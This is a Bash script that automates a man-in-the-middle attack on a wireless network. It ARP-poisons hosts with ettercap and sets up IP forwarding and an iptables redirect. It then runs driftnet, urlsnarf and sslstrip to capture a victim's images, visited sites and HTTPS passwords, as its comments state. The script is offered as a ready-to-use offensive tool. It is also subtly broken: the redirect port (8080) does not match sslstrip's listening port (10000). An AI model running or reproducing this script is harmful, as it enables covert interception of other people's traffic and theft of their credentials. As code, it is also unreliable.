#!/bin/bash

## DEF AND CONFIG ##
iface="wlan0" ; # CHANGE IT WITH YOUR INTERFACE
path="$HOME/EVIL_tmp" ; #CHANGE IT WITH YOUR PATH

fun_check () {
    if [ $UID -eq 0 ]
        then
            echo
            echo "[ok] check UID"
        else
            echo
            echo "[fail] need to be root!"
            exit
    fi

    echo
    echo "check dependences:"
    which sslstrip > /dev/null || sudo apt-get install sslstrip
    which dsniff > /dev/null || sudo apt-get install dsniff
    which ettercap > /dev/null || sudo apt-get install ettercap
    which driftnet > /dev/null || sudo apt-get install driftnet
    which urlsnarf > /dev/null || echo "urlsnarf not present" exit
    }

fun_setup () {
    mkdir $path
        if [ $? -eq 0 ]
            then
                echo
                echo "[ok] path created"
            else
                echo
                echo "[fail] impossibile create folder"
                exit
        fi
    echo "1" > /proc/sys/net/ipv4/ip_forward
        if [ $? -eq 0 ]
            then
                echo
                echo "[ok] ip forward propely set up"
            else
                echo
                echo "[fail] impossibile set up ip_forward"
                exit
        fi
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT  --to-port 8080
        if [ $? -eq 0 ]
            then
                echo
                echo "[ok] iptables propely set up"
            else
                echo
                echo "[fail] impossibile set up iptables"
                exit
        fi
    echo
    echo "setup complete!!"
    }
fun_attack () {

    xterm -e ettercap -TqM arp:oneway,remote // // -i $iface
    if [ $? -eq 0 ]
            then
                echo
                echo "[ok] ettercap started"
            else
                echo
                echo "[fail] ettercap not started"
                exit
    fi

    #This will start driftnet to capture images on your computer
    xterm -e driftnet -i $iface -d $path &
    if [ $? -eq 0 ]
            then
                echo
                echo "[ok] driftnet started"
            else
                echo
                echo "[fail] driftnet not started"

    fi

    #This will start URLSnarf to show the websites the victim browses
    xterm -e urlsnarf -i $iface &
    if [ $? -eq 0 ]
            then
                echo
                echo "[ok] urlsnarf started"
            else
                echo
                echo "[fail] urlsnarf not started"

    fi

    #This command will start SSLStrip to start sniffing https:// passwords
    xterm -e sslstrip -k -f -l 10000 2> /dev/null
    if [ $? -eq 0 ]
            then
                echo
                echo "[ok] sslstrip started"
            else
                echo
                echo "[fail] sslstrip not started"

    fi
    exit 0
}

fun_help () {
    echo "put here how to use your script"
    echo "bla bla bla bla"
}

fun_help

fun_check

fun_setup

fun_attack

exit 0